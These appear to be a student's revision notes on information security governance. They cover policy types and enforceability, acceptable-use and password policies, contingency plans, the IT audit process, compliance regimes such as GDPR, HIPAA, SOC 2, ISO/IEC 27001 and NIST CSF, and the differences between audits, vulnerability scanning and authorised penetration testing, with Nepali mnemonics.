Chapter 1 deck example (page 93; the class notes repeat it): an inappropriate-use policy, a standard listing blocked content, then technical controls and procedures that block such websites. Some texts fold baselines into standards and call guidelines and procedures "practices"; the deck and chapter 1 keep five layers with only the guideline recommended.
What makes a policy effective, and enforceable in court
Enforceable policy: one the organisation can apply and defend in court: lawful, properly issued, read, understood, agreed to, applied to everyone alike.
Five basic rules for shaping a policy (deck, class notes), so it is enforceable and stands up in court: never conflict with law (monitoring email must respect privacy law); stand up in court if challenged; be properly supported and administered; contribute to the organisation's success; involve the end users of the information systems.
| Enforceability criterion | Evidence |
|---|---|
| Developed with industry-accepted practice | drafted against ISO/IEC 27002 or NIST, reviewed by legal and HR |
| Distributed by all appropriate methods | record of delivery: intranet, email, printed copy |
| Read by all employees | acknowledgement, login banner, e-learning module |
| Understood by all employees | quiz or training record; Nepali version where needed |
| Formally agreed by act or affirmation | signature at joining, yearly click-through |
| Uniformly applied and enforced | same sanction for manager and clerk |
To remember the six: a college's ban on phones in the exam hall holds only if drafted properly, sent to every student, read out before the first paper, explained, signed for on the admit card, and applied to the topper exactly as to everyone; wave the topper's phone through once and the next student caught has his defence ready.
- Why uniform enforcement decides: a dismissed employee sues; the company wins only if the rule existed, reached him, was understood, accepted and enforced for all. Selective enforcement is arguably worse than no policy.
- Textbook form (Whitman and Mattord): dissemination, review, comprehension, compliance, uniform enforcement; the deck adds development as a sixth.
- Good policy: concise, usable, realistic, consistent, economically feasible, lawful. NIST SP 800-14: supplemented (standards, guidelines, procedures), visible, supported by management, consistent.
- Lifecycle: draft with users, legal, HR; approve through governance; publish and distribute with evidence; train and collect acknowledgements; enforce and monitor uniformly; review at least yearly and after major change or incident; retire. Each policy has an owner and a review date.
- Why policies fail: no management commitment, rules too strict, mismatch with the business, no communication, selective enforcement.
NIST SP 800-14's three types of policy: EISP, ISSP and SysSP
NIST SP 800-14, Generally Accepted Principles and Practices for Securing Information Technology Systems (1996): organisations need three kinds of policy, program, issue-specific and system-specific; the course uses Whitman and Mattord's names EISP, ISSP, SysSP.
Figure: three stacked tiers, EISP strategic, ISSP tactical, SysSP operational, with the SysSP split into management guidance and technical specifications.
| EISP | ISSP | SysSP | |
|---|---|---|---|
| NIST name | program policy | issue-specific policy | system-specific policy |
| Level | strategic | tactical | operational |
| Scope | whole organisation | one technology or issue | one system or device |
| Purpose | direction, scope, tone; assigns responsibilities | proper use of one technology; limits liability | how one system is configured, who may do what |
| Written by | senior management, CISO; board approves | issue owner with legal and HR | management (guidance) and administrators (specifications) |
| Changes | rarely | as technology changes | with every system change |
| Example | information security policy signed by the chief executive | email, internet use, BYOD, password, remote access, wireless | perimeter firewall rule policy; web server hardening |
To remember the three, a college: its charter (why it exists, who answers for what) is the EISP; the library rules and hostel rules, one issue each and read by every student, are ISSPs; the exam server's configuration sheet, read only by the IT section, is a SysSP.
EISP
Executive-level, owned by senior management and the CISO; assigns responsibilities for the various areas of security; sets direction, scope and tone of all security work; guides development, implementation and management of the programme; rarely changes, names no technology. Components: corporate philosophy on security; structure of the InfoSec organisation and who fills each role; shared responsibilities of all (employees, contractors, consultants, partners, visitors), such as wearing a badge and reporting incidents; role-unique responsibilities (HR versus marketing). NIST program policy: create and define the programme and resources covered, set strategic directions, assign responsibilities, address compliance including penalties and discipline.
ISSP
Detailed, targeted guidance on proper use of one technology or process for everyone; protects employee and organisation from inefficiency and ambiguity; indemnifies the organisation against liability for an employee's misuse; vendor-generic ("remote access only through the company VPN"); NIST says update frequently.
- Topics: email, internet use, BYOD, home use of equipment, personal devices on the network, anti-malware, no hacking or testing of controls.
- Skeleton: statement of policy (scope, applicability, technology, responsibilities); authorised access and usage (fair use, privacy); prohibited use (criminal, harassing, copyright violations); systems management (user and administrator responsibilities, monitoring, encryption, virus protection); violations (reporting, penalties); policy review and modification; limitations of liability.
- Organisation: independent documents, one comprehensive document, or a modular document.
SysSP
Focused on one system (firewall, web server, one computer); often works as a standard or procedure; two parts usually in one document:
- Management guidance: created by management to guide how the technology is implemented and configured; what the system must achieve and why; covers anything affecting confidentiality, integrity or availability; tells technologists the intent. Without it an administrator may configure the firewall "as he sees fit", maybe against the organisation's intent.
- Technical specifications: the administrator's directions implementing the guidance; each type of equipment has its own technical SysSP: access control lists (ACLs) (who, what, when, where, how) and configuration rules (instructional codes a firewall, IDPS or proxy applies to traffic; the class notes' example is Snort's
snort.conf).
The deck's example (made-up names): a firewall administrator moves from Open Idea University, whose firewall rules are lax and open, to Boom! Technologies, a high-security defence contractor, and carries the same open rules along. Same firewall rules, wrong context; the management guidance tells him the context has changed.
| Firewall | Management guidance | Technical specification |
|---|---|---|
| Inbound | deny all by default; public reaches only web servers over HTTPS | permit tcp any host 203.0.113.10 eq 443 then deny ip any any log |
| Outbound | browse the web, no file sharing | ports 80 and 443 from LAN via proxy; block peer-to-peer |
| Change and review | changes need change-board approval; quarterly review | rule comments carry ticket numbers; rule set exported quarterly |
| Administration | only network staff change it; all changes logged | SSH from management network only; logs to SIEM |
Names: NIST says program, issue-specific, system-specific; EISP, ISSP, SysSP are Whitman and Mattord's (syllabus reference 6). The class notes' EISP examples (application, network device, backup policies) are issue- or system-specific by NIST's definitions.
The policies every user meets: AUP, password, access and remote access
SPF documents: the named documents that put the framework in front of every user: issue-specific policies (AUP, password, access control, remote access) and the plans for when something goes wrong; reference documents for internal audits and for legal disputes about due care and diligence. Each policy is an ISSP, with standards and procedures beneath. The course lab asks for an AUP, a password policy and an incident response plan.
The deck's six, the framework's concrete outputs and each also audit evidence of due diligence: three policies for everyday use, then three plans for when something goes wrong.
- Acceptable use policy: what users may and may not do with company assets.
- Access control policy: who may reach which systems and data.
- Remote access policy: secure offsite connectivity: staff outside the office connect only through the VPN.
- Data breach response: the steps when personal data is exposed.
- Disaster recovery plan: restoring IT after an outage.
- Business continuity plan: keeping the business running meanwhile (the plans: c7-plans).
Mnemonic: Ajay Aaja Rakshi Dherai Dhokera Bahulaayo (Ajay gulped far too much rakshi today and went mad): Ajay acceptable use, Aaja access control, Rakshi remote access, Dherai data breach response, Dhokera disaster recovery, Bahulaayo business continuity. The trouble starts at Dherai, where the plans begin.
| Document | Governs | Typical rules |
|---|---|---|
| Acceptable use policy (AUP) | use of company IT and data | business first, limited personal use; nothing illegal, harassing or pirated; no credential sharing; activity monitored |
| Password policy | proving identity | long passphrases, MFA for remote and admin, no reuse, lockout or throttling, change on compromise |
| Access control policy | who reaches what | least privilege, need to know, role-based access, joiner, mover, leaver steps, quarterly reviews |
| Remote access policy | connecting from outside | company VPN with MFA, managed devices only, idle timeout |
| BYOD policy | personal devices for work | device management enrolment, work profile, remote wipe of work data only |
| Data classification | labels and handling | public, internal, confidential, restricted; encrypt confidential at rest and in transit |
AUP sections
To remember what an AUP is: a cyber cafe's wall notice (no illegal sites, no installing software, the owner can see every screen, break a rule and you leave) is an AUP in miniature: prohibited use, a monitoring notice and enforcement. A company AUP writes the same notice out in full:
- Purpose and scope: employees, contractors, interns; computers, network, email, internet, phones, data.
- Acceptable use: business use, limited personal use.
- Prohibited use: illegal activity, harassment, pirated software, sharing passwords, disabling security software, crypto mining, unauthorised scanning or testing.
- Monitoring and privacy: systems monitored and logged within the law; no expectation of privacy on them.
- User responsibilities: lock screen, report phishing and lost devices, protect confidential data.
- Enforcement: warning to dismissal and legal action.
- Acknowledgement: signature, date, owner, review date.
Password policy sections
- Scope: every account, including service and administrator accounts.
- Construction: length over complexity (for example at least 12 characters or a passphrase), checked against breached and common password lists.
- MFA: email, remote access, every privileged account.
- Storage and sharing: never written or shared; company password manager allowed; systems store salted hashes only.
- Change and lockout: change on suspected compromise; throttle or lock repeated failures.
- Privileged accounts: separate admin accounts, vaulted, reviewed.
- Enforcement and review.
NIST SP 800-63B favours long passphrases, breached-password screening and MFA over forced complexity and forced periodic changes, which breed patterns like Password1, Password2.
When things go wrong: the IRP, the DRP and the BCP
Contingency plans: the incident response plan handles the attack, the disaster recovery plan restores IT, the business continuity plan keeps the business running meanwhile.
| IRP | DRP | BCP | |
|---|---|---|---|
| Trigger | security incident: malware, breach, insider | event taking IT down: fire, flood, earthquake, ransomware in the data centre | any disruption to critical business functions |
| Goal | detect, contain, eradicate, recover, learn | restore systems and data at main or alternate site | keep critical functions at an acceptable level |
| Scope | security incidents | IT systems and data | people, processes, premises, suppliers, IT |
| Owner | incident response team | IT operations | head of business continuity with business units |
| Example | isolate and reimage an infected laptop, reset passwords | restore core banking at the DR site within RTO | branches serve customers on paper, redirect to other channels |
- Fit: the DRP is the technical part of the BCP; the IRP hands over to the DRP and BCP when an incident becomes a disaster. IR steps: chapter 6 (c6-ir-steps).
- Business impact analysis (BIA): critical functions and the cost of losing each over time.
- RTO: longest tolerable downtime. RPO: most data loss tolerated, in time (an RPO of one hour needs hourly backup or replication).
- Sites: hot (running, in sync, minutes to hours), warm (equipment ready, hours to days), cold (space and power, days to weeks); tighter RTO, hotter and dearer site.
- Data breach response policy: contain, assess who is affected, notify (regulator within 72 hours under GDPR; affected people), review.
- To remember RTO and RPO: for a mobile wallet such as eSewa or Khalti, RTO is how long the app may stay down before customers pay some other way, RPO how many minutes of payments may be lost (close to none); for a college notice board a day of both hardly matters: a hot site against a copy on a pen drive.
- Tests, rising in realism and risk: checklist review, tabletop exercise, simulation, parallel test, full interruption test.
- Nepal: NRB requires a board-approved BCP policy, RTO and RPO per business process, BCP tests at least annually audited by internal audit, and an incident response plan covering communication with customers, media and regulator; it calls the DRP the technical part of the BCP.
Whitman and Mattord treat these as contingency planning; the deck and chapter 1 list them as SPF documents; the class notes file the IRP as an ISSP example.
What an audit is, and why it is an assurance engagement
Audit: an assurance engagement, an independent, evidence-based examination giving stakeholders confidence that things are as they should be. IS (IT) security audit: assesses the security risks faced and whether controls exist, work and meet policy, standards and law.
- Three parties: responsible party (management runs the controls), practitioner (independent auditor), intended users (board, audit committee, shareholders, regulator, customer) who rely on the opinion.
- Criteria and evidence: practice measured against policy, ISO/IEC 27001, PCI DSS or law; the value is the confidence given to a third party. To remember it: members of a savings cooperative cannot open its books, so they rely on the auditor's signed report; that trust is what an assurance engagement provides.
- Reasonable, not absolute, assurance: sampling, time and judgement limit certainty (example: 25 of 400 leavers tested, all disabled on time, so the control is judged to work with high but not total confidence). Findings go to the audit committee. Sampling means an audit can never promise zero risk, so continuous monitoring between audits matters (c7-compliance).
| Audit type | Assurance that | Given to |
|---|---|---|
| Financial | statements give a true and fair view | shareholders |
| Internal | internal controls work, risk managed | management and board |
| Statutory | compliance with the law | regulators |
| IS / IT | IT assets safe, controls run smoothly, threats detected | management, board, regulators, customers |
- Who audits: first party (internal), second party (customer audits supplier), third party (certification body for ISO/IEC 27001, CPA firm for SOC 2). ISACA's CISA is the usual IS auditor qualification.
- IT security audit scope (deck): networked infrastructure (systems, networks, OS, applications); done by someone with technical and business knowledge; interviews, vulnerability assessments, penetration tests, catalogue of controls; goals: confirm compliance, confirm protection, recommend better controls. Class notes' purpose: evaluate policies, processes and operations to ensure compliance with standards and laws and that valued assets are protected.
Audit subject areas, from the building up, each with its own controls and its own evidence; the deck draws five, the class notes add business processes on top (the whole technology stack and the work it serves):
| Layer | Auditor looks at |
|---|---|
| Data-centre facilities | the physical building and racks: physical access, power, cooling, fire suppression |
| Networks | firewalls, switches, routers: rule reviews, segmentation, remote access |
| System platforms | operating environments: hardening, patch levels, admin accounts |
| Databases | systems that organise and serve the data: access rights, encryption, backups |
| Applications | what users see (ERP, email, scheduling): user access, input checks, separation of duties |
| Business processes (class notes) | the work the systems serve, end to end: who approves and reconciles a payment, whether the steps a policy demands happen |
- Evidence: inquiry, observation, inspection of documents, configurations and logs, re-performance, whole-population scripts (all active accounts against the HR staff list); recorded in working papers.
- Nepal: NRB requires banks to conduct an IS audit annually; it may be outsourced, but planning, risk assessment and follow-up stay with the bank.
The IT audit process: six phases, and why follow-up decides its worth
IT audit process: a repeatable loop of six phases; tracking closes each finding and feeds the next plan.
Figure: six phases in two rows, planning, fieldwork and documentation, issue discovery and validation (finding the problems), then solution development, report drafting and issuance, issue tracking (ensuring corrective action), with a return arrow into the next plan.
| Phase | What happens | Output |
|---|---|---|
| 1 Planning | objectives, scope, risk and control assessment, checklists, schedule, kick-off meeting | audit plan |
| 2 Fieldwork and documentation | interviews, inspections, samples, re-performance; lapses are findings | working papers |
| 3 Issue discovery and validation | concerns validated with the auditee before reporting; report in good time | validated findings |
| 4 Solution development | corrective action plan (C/A) with the auditee per finding, owner and date, by one of three approaches | action plans |
| 5 Report drafting and issuance | scope, executive summary, findings with plans, conclusion (satisfactory or unsatisfactory); to management and audit committee | audit report |
| 6 Issue tracking | the audit is not over until findings are fixed: follow up to resolution, escalate as last resort, validate the fix (for example test a BCP) | closed findings |
Mnemonic: Pappu Farted In School, Rani Inhaled (Pappu farted in class and Rani breathed it in): Pappu planning, Farted fieldwork and documentation, In issue discovery and validation, School solution development, Rani report drafting and issuance, Inhaled issue tracking. Two I's: In is the third phase, Inhaled the last.
Action plan approaches (phase 4), weakest first: recommendation (auditor suggests; may be ignored), management response (management must respond formally with its plan), solution (auditor and auditee agree together; most effective).
Finding problems and ensuring corrective action: phases 1 to 3 find, 4 to 6 fix. An audit that stops at the report leaves every risk where it was, only documented. Follow-up turns findings into changed controls, validation proves the change, and the tracking record shows recurring weak spots for the next plan.
Example: an ERP audit finds 14 active accounts of former staff (leavers removed only if someone emails IT).
- Action plan (solution approach): daily HR leaver report; accounts disabled within 24 hours; quarterly recertification; owner IT manager, due in 60 days.
- Tracking: at 60 days recertification has not started; escalated to the CISO; starts within two weeks.
- Validation: at 90 days 20 recent leavers sampled, all disabled within a day; finding closed.
- Next cycle: the control is tested again next year.
Without follow-up the next disgruntled leaver keeps access and the finding recurs, or becomes an incident. A finding repeated in two consecutive audits is a warning for the audit committee.
Compliance and internal controls
Compliance: meeting the requirements that bind the organisation (laws, regulations, contracts, standards, its own policy) and proving it with evidence. Internal controls: mechanisms keeping each process and its business purpose on track.
Auditor's reasoning (payroll example):
- Business purpose: pay the right people the right amount.
- Risks: a fictitious employee, a changed bank account.
- Controls: HR approves hires, second approver for bank changes, monthly reconciliation to HR records.
- A missing or failing control is a finding.
| Purpose | Administrative | Technical | Physical |
|---|---|---|---|
| Preventive | separation of duties | MFA, firewall rules | locked server room |
| Detective | reconciliation, access review | SIEM alert, log review | CCTV |
| Corrective | disciplinary process | restore from backup, patch | fire suppression |
- IT general controls (ITGC): access to programs and data, change management, system development, computer operations (backups).
- Application controls: input checks, processing completeness, output reconciliation.
- Design versus operating effectiveness: would the control work as described, and did it run every time over the period (SOC 2 Type I and Type II test these).
- COSO internal control framework (2013): control environment, risk assessment, control activities, information and communication, monitoring activities.
- Why compliance matters: shows due care and due diligence to regulators, customers and courts; turns policy into evidence that controls operate; avoids fines, lost contracts, lost licences.
- Compliance is a floor, not a ceiling: a standard codifies the minimum practice when written; an audit samples; an audit is a snapshot. To remember it: compliance is the exam pass mark, proving the minimum, on one day, on the questions set (a minimum, a snapshot, a sample); nobody hires an engineer for scoring exactly the pass mark. Case: Target said it was certified PCI DSS compliant in September 2013; weeks later about 40 million card numbers were stolen, entry through a supplier's credentials.
- Continuous monitoring closes the gap between audits: automated configuration checks, SIEM rules for disabled controls, compliance dashboards showing drift the day it happens.
- A minimum bar, so testing still matters: compliance is necessary but not sufficient, which is why the deck moves from audit to testing (c7-assess).
- The course's compliance audit lab: take a security policy and check systems against it and its regulations with configuration auditing tools: CIS-CAT (CIS Benchmarks), OpenSCAP (SCAP profiles, a PCI DSS profile for instance), Lynis (Linux and Unix hosts), Nessus compliance checks beside its vulnerability scans. Each failed check is a finding.
Stopping insider abuse with policy, audit and monitoring
Insider threat: someone with legitimate access (employee, contractor, partner) misusing it, deliberately or carelessly. Firewalls and antivirus see nothing wrong; only policy, audit and behaviour monitoring catch it.
Case (2083 internal): a program manager leaks confidential documents to a competitor; his normal work involves the documents, so the leak looks like work until they leave. Class notes: an employee who was secretly chief executive of a competitor. Chapter 6 (c6-insider-case) analyses another insider incident.
Figure: a grid of the manager's path (joins, gets access, gathers files, sends them out, leaves) against policy, audit and monitoring, with the control at each step.
Policy: prevent and deter
- Data classification and handling: Confidential label forbids personal email, USB, personal cloud.
- Least privilege and need to know: own projects only.
- NDA, confidentiality and conflict-of-interest declarations, signed at joining and renewed yearly; a secret stake in a competitor is what the declaration asks about; breach gives legal remedy.
- Acceptable use with monitoring notice: deters and gives the legal basis for monitoring.
- Separation of duties: external release of a document needs a second approver.
- Job rotation and mandatory vacation: a stand-in notices anomalies.
- Screening before hiring; offboarding at resignation: access reduced, devices recovered, NDA restated.
Audit: verify, keep evidence
- Quarterly access reviews and recertification by owners.
- Audit of downloads, attachments to outside domains, USB writes, print jobs.
- Protected, retained logs and audit trails as evidence for dismissal or prosecution.
- Review of privileged and dormant accounts.
Monitoring: detect in time
- DLP on email, endpoints (USB, printing) and web uploads: blocks or alerts on Confidential files leaving.
- UEBA: flags thirty times the usual download volume, at 11 pm, from projects he does not manage (c5-ueba).
- SIEM correlation: HR resignation plus bulk download plus mail to a personal or competitor domain gives one high-priority alert (c4-siem).
- CASB: uploads to personal cloud storage.
- Watermarks, rights management and decoy files identify the source of a leak or raise an alarm when opened outside.
Watch the leaver window: insider IP theft clusters around resignation, so monitoring tightens from notice. Monitoring must be announced in the AUP, limited to work systems and proportionate (Nepal's Individual Privacy Act 2018; GDPR for EU staff). On detection: preserve evidence, involve HR and legal, revoke access, follow the incident response steps.
Regulation, standard or framework: three kinds of outside rule
A regulation is law the organisation must obey; a standard is a published specification it can be measured and certified against; a framework is flexible good practice it adapts to its context.
| Regulation | Standard | Framework | |
|---|---|---|---|
| What | law or rule with legal force | defined, published specification | structured approach, outcomes not prescriptions |
| Set by | government or regulator | standards body (ISO/IEC) or industry council | agency or association (NIST, CIS, ISACA) |
| Force | mandatory | voluntary or mandatory by contract | voluntary |
| Failing it | fines, sanctions, legal action | failed or lost certificate, broken contract | a gap to close |
| Proof | regulator inspection, breach reports | accredited third-party certification or assessment | self-assessment, target profile |
| Examples | GDPR, HIPAA; Nepal's Electronic Transactions Act 2008, Individual Privacy Act 2018, NRB directives | ISO/IEC 27001, PCI DSS | NIST CSF, CIS Controls, COBIT |
To remember the three, the road: traffic law is a regulation (break it and the police fine you); a helmet's safety mark is a standard (tested against a published specification and certified); a driving instructor's advice is a framework (good practice adapted to your own road).
- PCI DSS is not law but compulsory by contract for anyone storing, processing or transmitting card data; failure brings fines from the bank or loss of card acceptance.
- SOC 2 is an auditor's attestation against the AICPA Trust Services Criteria: no fine, lost customers; the deck lists it under frameworks.
- Standards meet regulations: GDPR demands "appropriate technical and organisational measures" without naming them; ISO/IEC 27001 certification is common evidence.
- The distinction decides the consequence of a gap, who checks and how often.
- One control, many regimes: MFA for remote access satisfies PCI DSS, an ISO/IEC 27001 Annex A control, NIST CSF Protect and SOC 2 security at once; map one control set to all.
GDPR, HIPAA and SOC 2 compared
GDPR is the EU law protecting personal data; HIPAA the US law protecting health information; SOC 2 an independent auditor's report on a service provider's controls. The first two are law with penalties; the third is proof customers ask for.
| GDPR | HIPAA | SOC 2 | |
|---|---|---|---|
| Full name | General Data Protection Regulation, Regulation (EU) 2016/679 | Health Insurance Portability and Accountability Act, 1996 | System and Organization Controls 2 (AICPA) |
| Type | EU regulation, applied from 25 May 2018 | US federal law, HHS rules | voluntary attestation by a licensed CPA firm |
| Protects | personal data of people in the EU | protected health information (PHI) | customer data at a service organisation |
| Applies to | anyone handling EU residents' data, wherever based | covered entities (health plans, providers, clearinghouses) and business associates | SaaS, cloud, service organisations whose customers ask |
| Built around | 7 principles, data subject rights | Privacy, Security, Breach Notification Rules | 5 Trust Services Criteria |
| Breach notice | supervisory authority within 72 hours | affected people within 60 days; HHS; media if over 500 in a state | no legal duty |
| Penalty or proof | up to EUR 20 million or 4% of worldwide annual turnover, whichever is higher | tiered civil fines; criminal fines and prison for wrongful disclosure | Type I or Type II report; no fine, a qualified report loses deals |
GDPR
- Seven principles (Article 5): lawfulness, fairness and transparency; purpose limitation; data minimisation; accuracy; storage limitation; integrity and confidentiality; accountability.
- Six lawful bases: consent, contract, legal obligation, vital interests, public task, legitimate interests.
- Rights: to be informed, access, rectification, erasure (right to be forgotten), restriction, portability, objection, protection from purely automated decisions.
- Duties: protection by design and by default, impact assessments for high-risk processing, a data protection officer where required, records of processing, breach notification.
- Reach follows the data: a Nepali firm serving people in the EU is covered. Largest fine: EUR 1.2 billion on Meta (2023) for EU to US data transfers.
HIPAA
- Privacy Rule: uses and disclosures of PHI, patient rights, minimum necessary.
- Security Rule: administrative, physical and technical safeguards for electronic PHI: risk analysis, training, facility access, access control, audit controls, integrity, transmission security.
- Breach Notification Rule added under the HITECH Act 2009; enforced by the HHS Office for Civil Rights; criminal cases by the Department of Justice.
- Business associate agreements carry duties to vendors handling PHI.
SOC 2
- Five Trust Services Criteria: security (common criteria, always included), availability, processing integrity, confidentiality, privacy.
- Type I: controls suitably designed at a point in time. Type II: also operated effectively over a period, commonly 6 to 12 months; customers ask for Type II. To remember it: Type I is a photo of a restaurant kitchen on inspection day; Type II is six months of the kitchen's CCTV.
- Restricted-use report shared under NDA; SOC 3 is the public version; SOC 1 covers controls over customers' financial reporting.
Nepal: no law of GDPR's scope; the Individual Privacy Act 2018 requires consent to collect personal information and limits use to its collected purpose (c8-nepal-law).
The frameworks programmes are built on: ISO/IEC 27001, NIST CSF and more
ISO/IEC 27001
- International standard (2022 edition) for an information security management system (ISMS): policies, processes and people managing information risk as a system.
- Risk-based mandatory clauses 4 to 10: context, leadership, planning (risk assessment and treatment), support, operation, performance evaluation (internal audit, management review), improvement.
- Annex A: 93 controls in four themes: organisational 37, people 8, physical 14, technological 34; ISO/IEC 27002 explains each.
- Statement of Applicability: which Annex A controls apply and why.
- Plan, Do, Check, Act continual improvement.
- Certification: accredited body audits documents then practice; three-year certificate, yearly surveillance audits.
NIST Cybersecurity Framework 2.0
Voluntary, outcome-based, flexible and widely adopted; first published 2014; version 2.0 (February 2024) added Govern.
| Function | Outcome | Example |
|---|---|---|
| Govern | strategy, policy, roles, supply chain risk | board approves policy and risk appetite |
| Identify | assets and risks | asset inventory, risk assessment |
| Protect | safeguards | MFA, training, encryption, patching |
| Detect | find attacks | SIEM alerts, anomaly detection |
| Respond | act on incidents | incident response plan, containment |
| Recover | restore | backup restore, communication |
Tiers (partial, risk informed, repeatable, adaptive) rate maturity; current versus target profile shows the gap.
Others
- PCI DSS 4.0 (2022): 12 requirements for anyone storing, processing or transmitting card data; prescriptive; quarterly external scans by an Approved Scanning Vendor; penetration test at least yearly; requirement 12 demands an information security policy.
- CIS Controls v8: 18 prioritised, prescriptive safeguards, a practical starting point for defence, starting with hardware and software inventory; implementation group 1 is essential hygiene.
- COBIT (ISACA): IT governance, evaluate, direct, monitor.
- ITIL: IT service management (incident, problem, change) wrapping security into operations.
Who uses which (deck): ISO/IEC 27001 and SOC 2 are what most organisations certify or attest against; NIST CSF and the CIS Controls organise the work; PCI DSS is mandatory wherever payment cards are involved. Know all six by name.
Together: a bank certifies its data centre to ISO/IEC 27001, reports to its board by NIST CSF function, meets PCI DSS for cards, hardens with CIS Benchmarks, governs IT with COBIT, mapping one control set to all. The deck's five-function CSF is version 1.1 (2018); version 2.0 adds Govern.
Three ways to assess security: audit, vulnerability assessment, penetration test
Security assessment: a structured check of how well controls protect the organisation; three kinds answer three questions. Compliance proves the paperwork; testing proves reality (deck): only a test shows the controls hold. Deck shorthand: audit is the paperwork check, the vulnerability assessment (VA) automated breadth, the penetration test manual depth with proof; the last two bought together are VAPT (vulnerability assessment and penetration testing).
Figure: three panels, security audit, vulnerability assessment and penetration test, with breadth falling and depth rising from left to right.
| Security audit | Vulnerability assessment | Penetration test | |
|---|---|---|---|
| Question | do the right controls exist, documented and working? | what known weaknesses exist? | can an attacker get in, and how far? |
| Measured against | policy, standard, law | database of known vulnerabilities and misconfigurations | a goal, such as the customer database |
| Method | checklists, evidence, interviews, sampling | automated scans, then validation | mostly manual, human-led attack |
| Breadth and depth | broad, not deep | broad, shallow | narrow, deep |
| Exploits | no | no | yes, within rules of engagement |
| Output | findings, compliance opinion | prioritised list with severities | attack path, evidence, impact |
| Frequency | yearly or as regulation demands | continuous to monthly | yearly and after major change |
- Door rule (deck): a vulnerability assessment shows the doors are unlocked; a penetration test walks through one and shows what is behind; an audit checks the lock policy and the key register.
- They overlap: an IT audit uses scans and tests as evidence; every penetration test starts with scanning.
- Other forms: configuration review against the baseline; SAST (static code analysis) and DAST (running application); red team (long, stealthy, goal-based, tests detection and response); bug bounty (paid outside researchers under a disclosure policy); social engineering tests (phishing simulation).
- Choosing: compliance needs audit; hygiene needs continuous scanning; proof of impact before launch or after change needs a penetration test; a mature programme runs all three.
The assessment lifecycle, and why written authorisation comes first
Assessment lifecycle: scope and plan, discover, analyse, report, remediate, verify, repeat; it starts with written authorisation.
- Scope and plan: targets (address ranges, applications, sites), goals, rules of engagement, timing; written authorisation from the asset owner.
- Discover: assets, services, attack surface (live hosts, open ports, application pages).
- Analyse: identify and rank weaknesses, remove false positives by validation; exploit within the rules in a penetration test.
- Report: findings, evidence, risk ratings, recommendations.
- Remediate: owners fix under the agreed action plan.
- Verify: re-test each fix, then repeat with the next scope.
NIST SP 800-115 (Technical Guide to Information Security Testing and Assessment, 2008): planning, execution, post-execution; penetration test phases planning, discovery, attack, reporting.
Rules of engagement (RoE), the signed agreement that turns an attack into a test:
- Scope: in scope and explicitly out of scope.
- Permitted techniques: for example no denial of service, no social engineering of named people, no changes to production data.
- Timing: windows and blackout periods such as month-end.
- Data handling: no copying of real customer data; evidence encrypted and destroyed after the report.
- Contacts and stop conditions: whom to call if a system breaks; halt on signs of a real intruder.
- Signatures of someone with authority over every asset; cloud or vendor-hosted systems need that party's permission too.
Legal line: unauthorised access to a computer is a crime almost everywhere, including under Nepal's Electronic Transactions Act 2008 (c8-nepal-law); permission and scope are the only difference between tester and attacker. Deck: testing without written permission and an agreed scope is not an assessment, it is a crime. Permission and scope are also where the ethics of penetration testing begins (c8-ethics).
Example: a college admission portal test; scope portal and API; out of scope results server and email; window 10 pm to 5 am weekdays; no denial of service; two test accounts; emergency contact the IT head; signed by the principal.
Vulnerability scanning: automated breadth
Vulnerability scanning: automated probing that compares what it finds against a database of known vulnerabilities and misconfigurations and produces a prioritised list; detects, does not exploit. Automated, repeatable detection of known weaknesses across the estate: broad coverage, fast and repeatable, ideal to run frequently and on a schedule; the routine hygiene layer.
- Discovery: live hosts, open ports, services.
- Fingerprinting: OS, service, version (banner Apache httpd 2.4.49).
- Matching against plugins: Apache 2.4.49 matches CVE-2021-41773, a path traversal flaw.
- Safe checks: harmless probes confirm without exploiting.
- Report: CVE, severity score, host, evidence, fix.
- CVE: public naming scheme for known flaws (CVE-2017-5638, the Equifax flaw); NIST's National Vulnerability Database adds severity scores (CVSS).
- Credentialed scans log in and read patches and settings, far more accurate; uncredentialed scans see the outsider's view. Agent-based scanning covers laptops off the office network.
- Types: network, host, web application (SQL injection, XSS), database, cloud configuration (open storage, open security groups), container images.
- Tools: Nessus, OpenVAS, Qualys, Nexpose; web: OWASP ZAP, Burp Suite.
- False positive: flagged but not real (patched package with an old-looking version string), needs human validation. False negative: real flaw missed (the Equifax scan), from incomplete asset lists, wrong credentials or bad scope; more dangerous. To remember them: a false positive is the smoke alarm going off for burnt toast; a false negative is the alarm silent in a real fire.
- Cadence (deck): continuous or weekly for critical external assets; monthly internal; after every significant change; quarterly external PCI ASV scans for card data.
- Limits: known flaws only (no zero-days or logic errors); cannot chain weaknesses; untuned scans can crash fragile systems such as old industrial controllers.
| Vulnerability scanning | Penetration testing | |
|---|---|---|
| Goal | find and list known weaknesses | exploit to prove impact |
| Method | automated tools | mostly manual, human-led |
| Breadth and depth | broad, shallow | narrow, deep |
| Frequency | continuous, weekly or monthly | yearly or per release |
| Output | prioritised list | attack path narrative with evidence |
| Cost and skill | lower, routine hygiene | higher, specialist expertise |
| False positives | common, need validation | rare, each finding proven |
Complementary: scans keep the estate clean continuously; tests periodically prove what scans cannot.
Penetration testing: adversarial depth
Penetration test: an authorised, goal-driven, largely manual attack simulation that exploits weaknesses to prove what an attacker could achieve, reporting path, evidence and fix.
| Type | Tester knows | Models | Strength | Weakness |
|---|---|---|---|---|
| Black box | only the target's name | outside attacker | realistic outsider view | slow; time on reconnaissance; deep flaws missed |
| Grey box | partial: user account, some architecture | malicious insider or compromised user | balances realism and coverage; usual choice | less like a pure outsider |
| White box | everything: architecture, source code, credentials | full-knowledge attacker or internal review | most thorough and efficient | least like a real outside attack |
To remember the box types: black box, a stranger trying the hostel's doors at night; grey box, a resident who already has a room key; white box, the warden holding the building plan and the master key.
Figure: a pre-engagement bar (scope, rules of engagement, authorisation) above six phases in a chain, a re-test arrow from reporting back to the top, and the three box types beneath.
Six phases, mirroring the attacker's kill chain (c3-kill), after scoping and authorisation:
- Reconnaissance: OSINT, footprinting, DNS records, staff names; passive and active.
- Scanning and enumeration: hosts, ports, services, versions, users, shares.
- Gaining access: exploit a weakness for a foothold (unpatched service, SQL injection, weak password, phishing).
- Maintaining access: escalate privilege, move laterally, persist.
- Covering tracks: how an attacker evades detection (log deletion, hidden files); documented and demonstrated, not done for real, so the client measures its detection.
- Analysis and reporting: path, impact, evidence, fixes; a first-class phase, not an afterthought, since the report lets defenders close the path the test rehearsed.
Mnemonic: Ramesh Sasurali Gayo, Momo Chorera Aayo (Ramesh went to his in-laws' house and came back having stolen the momos, a penetration test in one line): Ramesh reconnaissance, Sasurali scanning and enumeration, Gayo gaining access (he went in), Momo maintaining access, Chorera covering tracks, Aayo analysis and reporting (he came back to tell it).
